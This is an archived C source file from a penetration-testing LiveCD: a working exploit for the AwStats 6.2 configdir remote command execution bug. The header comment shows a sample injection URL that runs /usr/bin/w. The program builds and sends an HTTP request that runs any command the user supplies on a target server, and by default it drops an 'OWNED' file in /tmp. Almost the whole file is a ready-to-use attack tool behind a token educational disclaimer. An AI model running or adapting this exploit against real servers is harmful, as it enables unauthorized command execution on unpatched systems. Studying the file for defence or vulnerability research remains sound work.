home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / awstats / awexpl.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  6KB  |  236 lines
  1. /*
  2. AwStats exploit by Thunder, molnar_rcs@yahoo.com
  3.  
  4. This exploit makes use of the remote command execution bug discovered in
  5. AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script.
  6. The script does not sanitise correctly the user input for the
  7. `configdir` parameter. If the users sends a command prefixed and postfixed
  8. with | , the command will be executed. An example would be:
  9.  
  10. Let's execute '/usr/bin/w':
  11. >
  12. http://localhost/cgi-bin/awstats.pl?configdir=%20|%20/usr/bin/w%20|%20
  13. <
  14.  
  15. Awstat output:
  16. >
  17. Error: LogFile parameter is not defined in config/domain file
  18. Setup (' | /usr/bin/w | /awstats.localhost.conf' file, web server or permissions) may be wrong.
  19. Check config file, permissions and AWStats documentation (in 'docs' directory).
  20. <
  21.  
  22. That's it. Our command was executed.
  23. This bug is fixed in AwStats ver 6.3 and a patch was released for all versions, but vulnerable
  24. AwStat is still available for download on several sites (ex. www.topshareware.com).
  25.  
  26. Type `gcc awexpl.c - o awexpl` to compile the exploit and `./awexpl -u` for usage.
  27.  
  28. Note:
  29. Just indexing the commands with | will not always work, or might not work at all. I checked
  30. it on my own awstats 6.0 install, and it failed. So, whoever tried the same on his own
  31. script and was surprised to see that (although the version he uses is said to be prone to the
  32. remote command execution bug) nothing happened, should patch or upgrade to Awstat 6.3 asap.
  33. As far as i know all unpached versions prior to 6.3 are vulnerable and commands prefixed and
  34. postfixed by a | character WILL be executed. Beware!
  35.  
  36. Oh, I almost forgot, the disclaimer :)
  37.  
  38. THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  39. AND WITHOUT ANY WARRANTY.
  40.  
  41. Robert Molnar,
  42. 21th jan 2005
  43. */
  44.  
  45.  
  46.  
  47.  
  48. #include <stdio.h>
  49. #include <stdlib.h>
  50. #include <sys/types.h>
  51. #include <sys/socket.h>
  52. //#include <unistd.h>
  53. #include <arpa/inet.h>
  54. #include <string.h>
  55.  
  56. void usage(char *pname)
  57.  {
  58.   printf("# AWStats exploit by Thunder, molnar_rcs@yahoo.com\n"
  59.      "# Usage: %s -h <host> -i <ip> [-s Script] [-p Path] [-o Port] [-c Commands] [-u]\n"
  60.      "\t-h : target host name, default is `localhost`\n"
  61.      "\t-i : target IP (to wich host name resolvs)\n"
  62.      "\t-s : script name, default is `awstats.pl`\n"
  63.      "\t-p : script path, default is `/cgi-bin`\n"
  64.      "\t-o : specify port to connect to, default is `80`\n"
  65.      "\t-c : specify commands to be executed, the exploit will create a\n"
  66.      "\t   : file named `OWNED` in `/tmp` by default\n"
  67.      "\t-u : usage\n\n"
  68.      "# Example: %s -h localhost -i 127.0.0.1\n"
  69.      "#        : %s -h localhost -i 127.0.0.1 -p /~user/cgi-bin\n"
  70.      "#        : %s -h localhost -i 127.0.0.1 -p /~user/cgi-bin -c \"/usr/bin/id\"\n"
  71.      , pname, pname, pname, pname);
  72.  
  73.   exit(0);
  74.  }
  75.  
  76.   char * urlEncode(char *inC)
  77.   {
  78.     int c, i, j = 0;
  79.     char *h = "0123456789abcdef";
  80.     char retval[1024], res[3072];
  81.     memcpy(retval, inC, strlen(inC));
  82.     retval[strlen(inC)] = '\0';
  83.     for(i=0; i < strlen(inC); i++){
  84.         c = retval[i];
  85.         if( 'a' <= c && c <= 'z'
  86.         || 'A' <= c && c <= 'Z'
  87.         || '0' <= c && c <= '9'
  88.         || c == '-' || c == '_' || c == '.')
  89.         res[j++] = c;
  90.         else {
  91.             res[j++] = '%';
  92.             res[j++] = h[c >> 4];
  93.             res[j++] = h[c & 0x0f];
  94.         }
  95.     }
  96.    return res;
  97.  
  98.   }
  99.  
  100.  
  101.  char *buildHeader(char *Xhost, char *Xpath,char *Xscript, char *exeCmd)
  102.  {
  103.   char Header[5196];
  104.  
  105.   sprintf( Header,
  106.          "GET %s/%s?configdir=%s HTTP/1.1\r\n"
  107.        "Accept: text/xml,application/xml,application/xhtml+xml,"
  108.        "text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,"
  109.        "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n"
  110.        "Accept-Language: en-us\r\n"
  111.        "Accept-Encoding: deflate, gzip\r\n"
  112.        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)\r\n"
  113.        "Host: %s\r\n"
  114.        "Connection: Keep-Alive\r\n"
  115.        "Cache-Control: no-cache\r\n"
  116.        "\r\n"
  117.        , Xpath, Xscript, urlEncode(exeCmd), Xhost );
  118.   return Header;
  119.  }
  120.  
  121.  
  122. void exploit(char *Xhost, char *Xpath,char *Xscript, char *exeCmd, char *Xip, int Xport)
  123.  {
  124.    int sock, disp = 0, count = 0;
  125.    struct sockaddr_in sockaddrX;
  126.    char *oData, iData;
  127.  
  128.    printf("# AWStats Exploit by Thunder, molnar_rcs@yahoo.com\n");
  129.    sockaddrX.sin_port = htons(Xport);
  130.    sockaddrX.sin_family = AF_INET;
  131.    sockaddrX.sin_addr.s_addr = inet_addr(Xip);
  132.    if(Xhost == "localhost")
  133.     {
  134.      printf("# Using hardcoded (default) options, use `-u` for usage\n"
  135.             );
  136.     }
  137.    printf("# Connecting to %s (%s) ...", Xhost, Xip);
  138.    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  139.    if (connect(sock, (struct sockaddr*)&sockaddrX, 16) < 0)
  140.     {
  141.        printf("\n# Connect to %s (%s) on port %i failed!\n", Xhost, Xip, Xport);
  142.        exit(-1);
  143.     }
  144.    printf("Done!\n# Building header...");
  145.    oData = buildHeader(Xhost, Xpath, Xscript, exeCmd);
  146.    printf("Done!\n# Sending data...");
  147.    send(sock, oData, strlen(oData), 0);
  148.  
  149.    /* the code below reads the server response byte by byte, this is not needed
  150.    while(read(sock, &iData, 1))
  151.      putchar(iData);
  152.    */
  153.    printf("Done!\n# Exploit finished.\n");
  154.    close(sock);
  155.  }
  156.  
  157.  
  158.  
  159.  
  160.  
  161. int main(int argc, char * argv[])
  162.  {
  163.  extern char *optarg;
  164.  extern int optind, optopt;
  165.  
  166.  int  c,
  167.       Xport     = 80,
  168.       isgood    = 0;
  169.  
  170.  char *Xhost    = "localhost" ,
  171.       *Xip    = "127.0.0.1",
  172.       *Xscript     = "awstats.pl",
  173.       *Xpath     = "/cgi-bin";
  174.  
  175.  char exeCmd[1024] = "| echo \"You have been Owned, update AWstat or patch\" > /tmp/OWNED | ";
  176.  
  177.  while ((c = getopt(argc, argv, ":uh:i:s:p:c:o:")) != -1)
  178.    {
  179.  
  180.      switch(c)
  181.        {
  182.     case 'h':
  183.         Xhost = optarg;
  184.         isgood++;
  185.         break;
  186.  
  187.         case 'i':
  188.         Xip = optarg;
  189.         isgood++;
  190.         break;
  191.  
  192.         case 's':
  193.         Xscript = optarg;
  194.         break;
  195.  
  196.         case 'p':
  197.         Xpath = optarg;
  198.         break;
  199.  
  200.         case 'c':
  201.          if(strlen(optarg) > 1018)
  202.          {
  203.           printf("# `-c` argument can't exceed 1024 bytes (command to long)");
  204.           exit(0);
  205.          }
  206.         sprintf(exeCmd, " | %s | ", optarg);
  207.         break;
  208.  
  209.     case 'o':
  210.         Xport = atoi(optarg);
  211.         break;
  212.  
  213.         case 'u':
  214.         usage(argv[0]);
  215.         break;
  216.  
  217.     case '?':
  218.         printf("# Unknown option `-%c`\n", optopt);
  219.         break;
  220.  
  221.  
  222.        }
  223.    }
  224.  
  225.  
  226.  if( isgood == 1)
  227.   {
  228.    printf("# Please specify both host `-h` and ip `-i`\n");
  229.    exit(0);
  230.   }
  231.  
  232.  exploit(Xhost, Xpath, Xscript, exeCmd, Xip, Xport);
  233.  return 0;
  234. }
  235.  
  236.